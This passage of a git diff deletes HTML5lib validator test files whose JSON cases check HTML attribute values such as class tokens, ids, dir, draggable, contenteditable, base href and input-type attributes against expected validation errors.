-"input": "<base href='http://%E3%81%BB%E3%82%93%E3%81%A8%E3%81%86%E3%81%AB%E3%81%AA%E3%81%8C%E3%81%84%E3%82%8F%E3%81%91%E3%81%AE%E3%82%8F%E3%81%8B%E3%82%89%E3%81%AA%E3%81%84%E3%81%A9%E3%82%81%E3%81%84%E3%82%93%E3%82%81%E3%81%84%E3%81%AE%E3%82%89%E3%81%B9%E3%82%8B%E3%81%BE%E3%81%A0%E3%81%AA%E3%81%8C%E3%81%8F%E3%81%97%E3%81%AA%E3%81%84%E3%81%A8%E3%81%9F%E3%82%8A%E3%81%AA%E3%81%84.%E3%81%BB%E3%82%93%E3%81%A8%E3%81%86%E3%81%AB%E3%81%AA%E3%81%8C%E3%81%84%E3%82%8F%E3%81%91%E3%81%AE%E3%82%8F%E3%81%8B%E3%82%89%E3%81%AA%E3%81%84%E3%81%A9%E3%82%81%E3%81%84%E3%82%93%E3%82%81%E3%81%84%E3%81%AE%E3%82%89%E3%81%B9%E3%82%8B%E3%81%BE%E3%81%A0%E3%81%AA%E3%81%8C%E3%81%8F%E3%81%97%E3%81%AA%E3%81%84%E3%81%A8%E3%81%9F%E3%82%8A%E3%81%AA%E3%81%84.%E3%81%BB%E3%82%93%E3%81%A8%E3%81%86%E3%81%AB%E3%81%AA%E3%81%8C%E3%81%84%E3%82%8F%E3%81%91%E3%81%AE%E3%82%8F%E3%81%8B%E3%82%89%E3%81%AA%E3%81%84%E3%81%A9%E3%82%81%E3%81%84%E3%82%93%E3%82%81%E3%81%84%E3%81%AE%E3%82%89%E3%81%B9%E3%82%8B%E3%81%BE%E3%81%A0%E3%81%AA%E3%81%8C%E3%81%8F%E3%81%97%E3%81%AA%E3%81%84%E3%81%A8%E3%81%9F%E3%82%8A%E3%81%AA%E3%81%84.w3.mag.keio.ac.jp/'",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "base href contains valid URI 'http://xn--n8jaaaaai5bhf7as8fsfk3jnknefdde3fg11amb5gzdb4wi9bya3kc6lra.xn--n8jaaaaai5bhf7as8fsfk3jnknefdde3fg11amb5gzdb4wi9bya3kc6lra.xn--n8jaaaaai5bhf7as8fsfk3jnknefdde3fg11amb5gzdb4wi9bya3kc6lra.w3.mag.keio.ac.jp/'",
-"input": "<base href='http://xn--n8jaaaaai5bhf7as8fsfk3jnknefdde3fg11amb5gzdb4wi9bya3kc6lra.xn--n8jaaaaai5bhf7as8fsfk3jnknefdde3fg11amb5gzdb4wi9bya3kc6lra.xn--n8jaaaaai5bhf7as8fsfk3jnknefdde3fg11amb5gzdb4wi9bya3kc6lra.w3.mag.keio.ac.jp/'",
-"fail-if": "invalid-attribute-value"}
-
-]}
diff --git a/attic/vendor/plugins/HTML5lib/testdata/validator/base-target-attribute.test b/attic/vendor/plugins/HTML5lib/testdata/validator/base-target-attribute.test
deleted file mode 100755
index 6d4db20b..00000000
--- a/attic/vendor/plugins/HTML5lib/testdata/validator/base-target-attribute.test
+++ /dev/null
@@ -1,35 +0,0 @@
-{"tests": [
-
-{"description": "valid base target attribute '_self'",
-"input": "<base target=_self>",
-"fail-if": "invalid-browsing-context"},
-
-{"description": "valid base target attribute '_parent'",
-"input": "<base target=_parent>",
-"fail-if": "invalid-browsing-context"},
-
-{"description": "valid base target attribute '_top'",
-"input": "<base target=_top>",
-"fail-if": "invalid-browsing-context"},
-
-{"description": "valid base target attribute '_blank'",
-"input": "<base target=_blank>",
-"fail-if": "invalid-browsing-context"},
-
-{"description": "valid base target attribute 'foo'",
-"input": "<base target=foo>",
-"fail-if": "invalid-browsing-context"},
-
-{"description": "base target attribute may be blank",
-"input": "<base target>",
-"fail-if": "invalid-browsing-context"},
-
-{"description": "invalid base target attribute '_'",
-"input": "<base target=_>",
-"fail-unless": "invalid-browsing-context"},
-
-{"description": "invalid base target attribute '_foo'",
-"input": "<base target=_foo>",
-"fail-unless": "invalid-browsing-context"}
-
-]}
\ No newline at end of file
diff --git a/attic/vendor/plugins/HTML5lib/testdata/validator/blockquote-cite-attribute.test b/attic/vendor/plugins/HTML5lib/testdata/validator/blockquote-cite-attribute.test
deleted file mode 100755
index 153c6e6a..00000000
--- a/attic/vendor/plugins/HTML5lib/testdata/validator/blockquote-cite-attribute.test
+++ /dev/null
@@ -1,7 +0,0 @@
-{"tests": [
-
-{"description": "blockquote cite contains invalid URI due to space in domain",
-"input": "<blockquote cite='http://www.example. com/'",
-"fail-unless": "invalid-uri-char"}
-
-]}
\ No newline at end of file
diff --git a/attic/vendor/plugins/HTML5lib/testdata/validator/classattribute.test b/attic/vendor/plugins/HTML5lib/testdata/validator/classattribute.test
deleted file mode 100755
index 0fe703fc..00000000
--- a/attic/vendor/plugins/HTML5lib/testdata/validator/classattribute.test
+++ /dev/null
@@ -1,152 +0,0 @@
-{"tests": [
-
-{"description": "valid single class attribute value",
-"input": "<span class=a>",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "valid single class attribute value with leading space",
-"input": "<span class=' a'>",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "valid single class attribute value with trailing space",
-"input": "<span class='a '>",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "valid single class attribute value with leading and trailing space",
-"input": "<span class=' a '>",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "valid single class attribute value with leading tab",
-"input": "<span class='\ta'>",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "valid single class attribute value with trailing tab",
-"input": "<span class='a\t'>",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "valid single class attribute value with leading and trailing tab",
-"input": "<span class='\ta\t'>",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "valid single class attribute value with leading LF",
-"input": "<span class='\na'>",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "valid single class attribute value with trailing LF",
-"input": "<span class='a\n'>",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "valid single class attribute value with leading and trailing LF",
-"input": "<span class='\na\n'>",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "valid single class attribute value with leading LT",
-"input": "<span class='\u000Ba'>",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "valid single class attribute value with trailing LT",
-"input": "<span class='a\u000B'>",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "valid single class attribute value with leading and trailing LT",
-"input": "<span class='\u000Ba\u000B'>",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "valid single class attribute value with leading FF",
-"input": "<span class='\u000Ca'>",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "valid single class attribute value with trailing FF",
-"input": "<span class='a\u000C'>",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "valid single class attribute value with leading and trailing FF",
-"input": "<span class='\u000Ca\u000C'>",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "valid single class attribute value with leading CR",
-"input": "<span class='\ra'>",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "valid single class attribute value with trailing CR",
-"input": "<span class='a\r'>",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "valid single class attribute value with leading and trailing CR",
-"input": "<span class='\ra\r'>",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "valid double class attribute value separated by space",
-"input": "<span class='a b'>",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "valid double class attribute value separated by tab",
-"input": "<span class='a\tb'>",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "valid double class attribute value separated by LF",
-"input": "<span class='a\nb'>",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "valid double class attribute value separated by LT",
-"input": "<span class='a\u000Bb'>",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "valid double class attribute value separated by FF",
-"input": "<span class='a\u000Cb'>",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "valid double class attribute value separated by CR",
-"input": "<span class='a\rb'>",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "invalid duplicated class attribute value separated by space",
-"input": "<span class='a a'>",
-"fail-unless": "invalid-attribute-value"},
-
-{"description": "invalid duplicated class attribute value separated by tab",
-"input": "<span class='a\ta'>",
-"fail-unless": "invalid-attribute-value"},
-
-{"description": "invalid duplicated class attribute value separated by LF",
-"input": "<span class='a\na'>",
-"fail-unless": "invalid-attribute-value"},
-
-{"description": "invalid duplicated class attribute value separated by LT",
-"input": "<span class='a\u000Ba'>",
-"fail-unless": "invalid-attribute-value"},
-
-{"description": "invalid duplicated class attribute value separated by FF",
-"input": "<span class='a\u000Ca'>",
-"fail-unless": "invalid-attribute-value"},
-
-{"description": "invalid duplicated class attribute value separated by CR",
-"input": "<span class='a\ra'>",
-"fail-unless": "duplicate-value-in-token-list"},
-
-{"description": "invalid duplicated class attribute value separated by space",
-"input": "<span class='a a'>",
-"fail-unless": "duplicate-value-in-token-list"},
-
-{"description": "invalid duplicated class attribute value separated by tab",
-"input": "<span class='a\ta'>",
-"fail-unless": "duplicate-value-in-token-list"},
-
-{"description": "invalid duplicated class attribute value separated by LF",
-"input": "<span class='a\na'>",
-"fail-unless": "duplicate-value-in-token-list"},
-
-{"description": "invalid duplicated class attribute value separated by LT",
-"input": "<span class='a\u000Ba'>",
-"fail-unless": "duplicate-value-in-token-list"},
-
-{"description": "invalid duplicated class attribute value separated by FF",
-"input": "<span class='a\u000Ca'>",
-"fail-unless": "duplicate-value-in-token-list"},
-
-{"description": "invalid duplicated class attribute value separated by CR",
-"input": "<span class='a\ra'>",
-"fail-unless": "duplicate-value-in-token-list"}
-
-]}
-
diff --git a/attic/vendor/plugins/HTML5lib/testdata/validator/contenteditableattribute.test b/attic/vendor/plugins/HTML5lib/testdata/validator/contenteditableattribute.test
deleted file mode 100755
index b6ae1d27..00000000
--- a/attic/vendor/plugins/HTML5lib/testdata/validator/contenteditableattribute.test
+++ /dev/null
@@ -1,59 +0,0 @@
-{"tests": [
-
-{"description": "valid contenteditable attribute value 'true'",
-"input": "<span contenteditable=true>",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "valid contenteditable attribute value 'TRUE'",
-"input": "<span contenteditable=TRUE>",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "valid contenteditable attribute value 'TrUe'",
-"input": "<span contenteditable=TrUe>",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "valid contenteditable attribute value 'false'",
-"input": "<span contenteditable=false>",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "valid contenteditable attribute value 'FALSE'",
-"input": "<span contenteditable=FALSE>",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "valid contenteditable attribute value 'FalSe'",
-"input": "<span contenteditable=FalSe>",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "valid contenteditable attribute value ''",
-"input": "<span contenteditable=''>",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "valid contenteditable attribute value (not specified)",
-"input": "<span contenteditable>",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "invalid contenteditable attribute value 'foo'",
-"input": "<span contenteditable=foo>",
-"fail-unless": "invalid-enumerated-value"},
-
-{"description": "invalid contenteditable attribute value '0'",
-"input": "<span contenteditable=0>",
-"fail-unless": "invalid-enumerated-value"},
-
-{"description": "invalid contenteditable attribute value '1'",
-"input": "<span contenteditable=1>",
-"fail-unless": "invalid-enumerated-value"},
-
-{"description": "invalid contenteditable attribute value 'yes'",
-"input": "<span contenteditable=yes>",
-"fail-unless": "invalid-enumerated-value"},
-
-{"description": "invalid contenteditable attribute value 'no'",
-"input": "<span contenteditable=no>",
-"fail-unless": "invalid-enumerated-value"},
-
-{"description": "invalid contenteditable attribute value 'inherit'",
-"input": "<span contenteditable=inherit>",
-"fail-unless": "invalid-enumerated-value"}
-
-]}
\ No newline at end of file
diff --git a/attic/vendor/plugins/HTML5lib/testdata/validator/contextmenuattribute.test b/attic/vendor/plugins/HTML5lib/testdata/validator/contextmenuattribute.test
deleted file mode 100755
index 59e4397c..00000000
--- a/attic/vendor/plugins/HTML5lib/testdata/validator/contextmenuattribute.test
+++ /dev/null
@@ -1,115 +0,0 @@
-{"tests": [
-
-{"description": "contextmenu points to valid ID earlier",
-"input": "<menu id=a><span contextmenu=a>",
-"fail-if": "id-does-not-exist"},
-
-{"description": "contextmenu points to valid ID later",
-"input": "<span contextmenu=a><menu id=a>",
-"fail-if": "id-does-not-exist"},
-
-{"description": "contextmenu points to non-existent ID",
-"input": "<span contextmenu=a>",
-"fail-unless": "id-does-not-exist"},
-
-{"description": "contextmenu points to ID on non-menu element",
-"input": "<span id=a><span contextmenu=a>",
-"fail-unless": "contextmenu-must-point-to-menu"},
-
-{"description": "uppercase contextmenu points to ID on non-menu element",
-"input": "<span id=a><span CONTEXTMENU=a>",
-"fail-unless": "contextmenu-must-point-to-menu"},
-
-{"description": "valid ID 'a'",
-"input": "<span contextmenu=a>",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "valid ID '1'",
-"input": "<span contextmenu=1>",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "wacky but valid ID",
-"input": "<span contextmenu='<html><head><title>a</title></head><body><p>b</p></body></html>'>",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "invalid blank ID",
-"input": "<span id>",
-"fail-unless": "attribute-value-can-not-be-blank"},
-
-{"description": "invalid blank ID with quotes",
-"input": "<span contextmenu=''>",
-"fail-unless": "attribute-value-can-not-be-blank"},
-
-{"description": "invalid ID because of leading space",
-"input": "<span contextmenu=' a'>",
-"fail-unless": "space-in-id"},
-
-{"description": "invalid ID because of trailing space",
-"input": "<span contextmenu='a '>",
-"fail-unless": "space-in-id"},
-
-{"description": "invalid ID because of space in value",
-"input": "<span contextmenu='a b'>",
-"fail-unless": "space-in-id"},
-
-{"description": "invalid ID because of leading tab",
-"input": "<span contextmenu='\ta'>",
-"fail-unless": "space-in-id"},
-
-{"description": "invalid ID because of trailing tab",
-"input": "<span contextmenu='a\t'>",
-"fail-unless": "space-in-id"},
-
-{"description": "invalid ID because of tab in value",
-"input": "<span contextmenu='a\tb'>",
-"fail-unless": "space-in-id"},
-
-{"description": "invalid ID because of leading LF",
-"input": "<span contextmenu='\na'>",
-"fail-unless": "space-in-id"},
-
-{"description": "invalid ID because of trailing LF",
-"input": "<span contextmenu='a\n'>",
-"fail-unless": "space-in-id"},
-
-{"description": "invalid ID because of LF in value",
-"input": "<span contextmenu='a\nb'>",
-"fail-unless": "space-in-id"},
-
-{"description": "invalid ID because of leading LT",
-"input": "<span contextmenu='\u000Ba'>",
-"fail-unless": "space-in-id"},
-
-{"description": "invalid ID because of trailing LT",
-"input": "<span contextmenu='a\u000B'>",
-"fail-unless": "space-in-id"},
-
-{"description": "invalid ID because of LT in value",
-"input": "<span contextmenu='a\u000Bb'>",
-"fail-unless": "space-in-id"},
-
-{"description": "invalid ID because of leading FF",
-"input": "<span contextmenu='\u000Ca'>",
-"fail-unless": "space-in-id"},
-
-{"description": "invalid ID because of trailing FF",
-"input": "<span contextmenu='a\u000C'>",
-"fail-unless": "space-in-id"},
-
-{"description": "invalid ID because of FF in value",
-"input": "<span contextmenu='a\u000Cb'>",
-"fail-unless": "space-in-id"},
-
-{"description": "invalid ID because of leading CR",
-"input": "<span contextmenu='\ra'>",
-"fail-unless": "space-in-id"},
-
-{"description": "invalid ID because of trailing CR",
-"input": "<span contextmenu='a\r'>",
-"fail-unless": "space-in-id"},
-
-{"description": "invalid ID because of CR in value",
-"input": "<span contextmenu='a\rb'>",
-"fail-unless": "space-in-id"}
-
-]}
diff --git a/attic/vendor/plugins/HTML5lib/testdata/validator/dirattribute.test b/attic/vendor/plugins/HTML5lib/testdata/validator/dirattribute.test
deleted file mode 100755
index 71883dc1..00000000
--- a/attic/vendor/plugins/HTML5lib/testdata/validator/dirattribute.test
+++ /dev/null
@@ -1,59 +0,0 @@
-{"tests": [
-
-{"description": "valid dir attribute value 'ltr'",
-"input": "<span dir=ltr>",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "valid dir attribute value 'LTR'",
-"input": "<span dir=LTR>",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "valid dir attribute value 'LtR'",
-"input": "<span dir=LtR>",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "valid dir attribute value 'rtl'",
-"input": "<span dir=rtl>",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "valid dir attribute value 'RTL'",
-"input": "<span dir=RTL>",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "valid dir attribute value 'RtL'",
-"input": "<span dir=RtL>",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "invalid dir attribute value due to leading space",
-"input": "<span dir=' ltr'>",
-"fail-unless": "invalid-enumerated-value"},
-
-{"description": "dir attribute value can not be blank",
-"input": "<span dir>",
-"fail-unless": "attribute-value-can-not-be-blank"},
-
-{"description": "dir attribute value can not be blank (with quotes)",
-"input": "<span dir=''>",
-"fail-unless": "attribute-value-can-not-be-blank"},
-
-{"description": "invalid dir attribute value 'left'",
-"input": "<span dir=left>",
-"fail-unless": "invalid-enumerated-value"},
-
-{"description": "invalid dir attribute value 'right'",
-"input": "<span dir=right>",
-"fail-unless": "invalid-enumerated-value"},
-
-{"description": "invalid dir attribute value 'lefttoright'",
-"input": "<span dir=lefttoright>",
-"fail-unless": "invalid-enumerated-value"},
-
-{"description": "invalid dir attribute value 'righttoleft'",
-"input": "<span dir=righttoleft>",
-"fail-unless": "invalid-enumerated-value"},
-
-{"description": "invalid dir attribute value 'inherit'",
-"input": "<span dir=inherit>",
-"fail-unless": "invalid-enumerated-value"}
-
-]}
\ No newline at end of file
diff --git a/attic/vendor/plugins/HTML5lib/testdata/validator/draggableattribute.test b/attic/vendor/plugins/HTML5lib/testdata/validator/draggableattribute.test
deleted file mode 100755
index 49e692d9..00000000
--- a/attic/vendor/plugins/HTML5lib/testdata/validator/draggableattribute.test
+++ /dev/null
@@ -1,63 +0,0 @@
-{"tests": [
-
-{"description": "valid draggable attribute value 'true'",
-"input": "<span draggable=true>",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "valid draggable attribute value 'TRUE'",
-"input": "<span draggable=TRUE>",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "valid draggable attribute value 'TrUe'",
-"input": "<span draggable=TrUe>",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "valid draggable attribute value 'false'",
-"input": "<span draggable=false>",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "valid draggable attribute value 'FALSE'",
-"input": "<span draggable=FALSE>",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "valid draggable attribute value 'FalSe'",
-"input": "<span draggable=FalSe>",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "invalid draggable attribute value ''",
-"input": "<span draggable=''>",
-"fail-unless": "attribute-value-can-not-be-blank"},
-
-{"description": "valid draggable attribute value (not specified)",
-"input": "<span draggable>",
-"fail-unless": "attribute-value-can-not-be-blank"},
-
-{"description": "invalid draggable attribute value 'foo'",
-"input": "<span draggable=foo>",
-"fail-unless": "invalid-enumerated-value"},
-
-{"description": "invalid draggable attribute value '0'",
-"input": "<span draggable=0>",
-"fail-unless": "invalid-enumerated-value"},
-
-{"description": "invalid draggable attribute value '1'",
-"input": "<span draggable=1>",
-"fail-unless": "invalid-enumerated-value"},
-
-{"description": "invalid draggable attribute value 'yes'",
-"input": "<span draggable=yes>",
-"fail-unless": "invalid-enumerated-value"},
-
-{"description": "invalid draggable attribute value 'no'",
-"input": "<span draggable=no>",
-"fail-unless": "invalid-enumerated-value"},
-
-{"description": "invalid draggable attribute value 'auto'",
-"input": "<span draggable=auto>",
-"fail-unless": "invalid-enumerated-value"},
-
-{"description": "invalid draggable attribute value 'inherit'",
-"input": "<span draggable=inherit>",
-"fail-unless": "invalid-enumerated-value"}
-
-]}
\ No newline at end of file
diff --git a/attic/vendor/plugins/HTML5lib/testdata/validator/html-xmlns-attribute.test b/attic/vendor/plugins/HTML5lib/testdata/validator/html-xmlns-attribute.test
deleted file mode 100755
index 2ebd19eb..00000000
--- a/attic/vendor/plugins/HTML5lib/testdata/validator/html-xmlns-attribute.test
+++ /dev/null
@@ -1,23 +0,0 @@
-{"tests": [
-
-{"description": "valid html xmlns attribute",
-"input": "<html xmlns=http://www.w3.org/1999/xhtml>",
-"fail-if": "invalid-root-namespace"},
-
-{"description": "invalid html xmlns attribute due to leading space",
-"input": "<html xmlns=' http://www.w3.org/1999/xhtml'>",
-"fail-unless": "invalid-root-namespace"},
-
-{"description": "invalid html xmlns attribute due to trailing space",
-"input": "<html xmlns='http://www.w3.org/1999/xhtml '>",
-"fail-unless": "invalid-root-namespace"},
-
-{"description": "invalid html xmlns attribute due to uppercase",
-"input": "<html xmlns=HTTP://WWW.W3.ORG/1999/XHTML>",
-"fail-unless": "invalid-root-namespace"},
-
-{"description": "invalid xmlns attribute on non-html element",
-"input": "<body xmlns=http://www.w3.org/1999/xhtml>",
-"fail-unless": "unknown-attribute"}
-
-]}
\ No newline at end of file
diff --git a/attic/vendor/plugins/HTML5lib/testdata/validator/idattribute.test b/attic/vendor/plugins/HTML5lib/testdata/validator/idattribute.test
deleted file mode 100755
index 4058d521..00000000
--- a/attic/vendor/plugins/HTML5lib/testdata/validator/idattribute.test
+++ /dev/null
@@ -1,115 +0,0 @@
-{"tests": [
-
-{"description": "valid ID 'a'",
-"input": "<span id=a>",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "valid ID '1'",
-"input": "<span id=1>",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "wacky but valid ID",
-"input": "<span id='<html><head><title>a</title></head><body><p>b</p></body></html>'>",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "invalid blank ID",
-"input": "<span id>",
-"fail-unless": "attribute-value-can-not-be-blank"},
-
-{"description": "invalid blank ID with quotes",
-"input": "<span id=''>",
-"fail-unless": "attribute-value-can-not-be-blank"},
-
-{"description": "invalid ID because of leading space",
-"input": "<span id=' a'>",
-"fail-unless": "space-in-id"},
-
-{"description": "invalid ID because of trailing space",
-"input": "<span id='a '>",
-"fail-unless": "space-in-id"},
-
-{"description": "invalid ID because of space in value",
-"input": "<span id='a b'>",
-"fail-unless": "space-in-id"},
-
-{"description": "invalid ID because of leading tab",
-"input": "<span id='\ta'>",
-"fail-unless": "space-in-id"},
-
-{"description": "invalid ID because of trailing tab",
-"input": "<span id='a\t'>",
-"fail-unless": "space-in-id"},
-
-{"description": "invalid ID because of tab in value",
-"input": "<span id='a\tb'>",
-"fail-unless": "space-in-id"},
-
-{"description": "invalid ID because of leading LF",
-"input": "<span id='\na'>",
-"fail-unless": "space-in-id"},
-
-{"description": "invalid ID because of trailing LF",
-"input": "<span id='a\n'>",
-"fail-unless": "space-in-id"},
-
-{"description": "invalid ID because of LF in value",
-"input": "<span id='a\nb'>",
-"fail-unless": "space-in-id"},
-
-{"description": "invalid ID because of leading LT",
-"input": "<span id='\u000Ba'>",
-"fail-unless": "space-in-id"},
-
-{"description": "invalid ID because of trailing LT",
-"input": "<span id='a\u000B'>",
-"fail-unless": "space-in-id"},
-
-{"description": "invalid ID because of LT in value",
-"input": "<span id='a\u000Bb'>",
-"fail-unless": "space-in-id"},
-
-{"description": "invalid ID because of leading FF",
-"input": "<span id='\u000Ca'>",
-"fail-unless": "space-in-id"},
-
-{"description": "invalid ID because of trailing FF",
-"input": "<span id='a\u000C'>",
-"fail-unless": "space-in-id"},
-
-{"description": "invalid ID because of FF in value",
-"input": "<span id='a\u000Cb'>",
-"fail-unless": "space-in-id"},
-
-{"description": "invalid ID because of leading CR",
-"input": "<span id='\ra'>",
-"fail-unless": "space-in-id"},
-
-{"description": "invalid ID because of trailing CR",
-"input": "<span id='a\r'>",
-"fail-unless": "space-in-id"},
-
-{"description": "invalid ID because of CR in value",
-"input": "<span id='a\rb'>",
-"fail-unless": "space-in-id"},
-
-{"description": "duplicate ID values",
-"input": "<span id=a><span id=a>",
-"fail-unless": "duplicate-id"},
-
-{"description": "duplicate ID values with spaces (weird but true)",
-"input": "<span id='a '><span id='a '>",
-"fail-unless": "duplicate-id"},
-
-{"description": "not duplicate ID values because spaces don't match",
-"input": "<span id=a><span id='a '>",
-"fail-if": "duplicate-id"},
-
-{"description": "not duplicate ID values because spaces don't match",
-"input": "<span id=' a'><span id='a '>",
-"fail-if": "duplicate-id"},
-
-{"description": "not duplicate ID values because case doesn't match",
-"input": "<span id=a><span id=A>",
-"fail-if": "duplicate-id"}
-
-]}
diff --git a/attic/vendor/plugins/HTML5lib/testdata/validator/inputattributes.test b/attic/vendor/plugins/HTML5lib/testdata/validator/inputattributes.test
deleted file mode 100755
index acdc50e7..00000000
--- a/attic/vendor/plugins/HTML5lib/testdata/validator/inputattributes.test
+++ /dev/null
@@ -1,2795 +0,0 @@
-{"tests": [
-
-{"description": "'size' attribute deprecated on <input type='text'>",
-"input": "<input type=text size>",
-"fail-unless": "deprecated-attribute"},
-
-{"description": "'size' attribute deprecated on <input type='password'>",
-"input": "<input type=password size>",
-"fail-unless": "deprecated-attribute"},
-
-{"description": "allowed 'accesskey' attribute on <input type='checkbox'>",
-"input": "<input type=checkbox accesskey>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'accept' attribute not allowed on <input type='checkbox'>",
-"input": "<input type=checkbox accept>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'replace' attribute not allowed on <input type='checkbox'>",
-"input": "<input type=checkbox replace>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'disabled' attribute on <input type='checkbox'>",
-"input": "<input type=checkbox disabled>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'alt' attribute not allowed on <input type='checkbox'>",
-"input": "<input type=checkbox alt>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'size' attribute not allowed on <input type='checkbox'>",
-"input": "<input type=checkbox size>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'checked' attribute on <input type='checkbox'>",
-"input": "<input type=checkbox checked>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'min' attribute not allowed on <input type='checkbox'>",
-"input": "<input type=checkbox min>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'pattern' attribute not allowed on <input type='checkbox'>",
-"input": "<input type=checkbox pattern>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'readonly' attribute not allowed on <input type='checkbox'>",
-"input": "<input type=checkbox readonly>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'template' attribute not allowed on <input type='checkbox'>",
-"input": "<input type=checkbox template>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'autofocus' attribute on <input type='checkbox'>",
-"input": "<input type=checkbox autofocus>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'target' attribute not allowed on <input type='checkbox'>",
-"input": "<input type=checkbox target>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'method' attribute not allowed on <input type='checkbox'>",
-"input": "<input type=checkbox method>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'form' attribute on <input type='checkbox'>",
-"input": "<input type=checkbox form>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'max' attribute not allowed on <input type='checkbox'>",
-"input": "<input type=checkbox max>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'step' attribute not allowed on <input type='checkbox'>",
-"input": "<input type=checkbox step>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'enctype' attribute not allowed on <input type='checkbox'>",
-"input": "<input type=checkbox enctype>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'src' attribute not allowed on <input type='checkbox'>",
-"input": "<input type=checkbox src>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'name' attribute on <input type='checkbox'>",
-"input": "<input type=checkbox name>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'required' attribute on <input type='checkbox'>",
-"input": "<input type=checkbox required>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'list' attribute not allowed on <input type='checkbox'>",
-"input": "<input type=checkbox list>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'value' attribute on <input type='checkbox'>",
-"input": "<input type=checkbox value>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'autocomplete' attribute not allowed on <input type='checkbox'>",
-"input": "<input type=checkbox autocomplete>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'inputmode' attribute not allowed on <input type='checkbox'>",
-"input": "<input type=checkbox inputmode>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'maxlength' attribute not allowed on <input type='checkbox'>",
-"input": "<input type=checkbox maxlength>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'action' attribute not allowed on <input type='checkbox'>",
-"input": "<input type=checkbox action>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'tabindex' attribute on <input type='checkbox'>",
-"input": "<input type=checkbox tabindex>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'accesskey' attribute on <input type='text'>",
-"input": "<input type=text accesskey>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'accept' attribute not allowed on <input type='text'>",
-"input": "<input type=text accept>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'replace' attribute not allowed on <input type='text'>",
-"input": "<input type=text replace>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
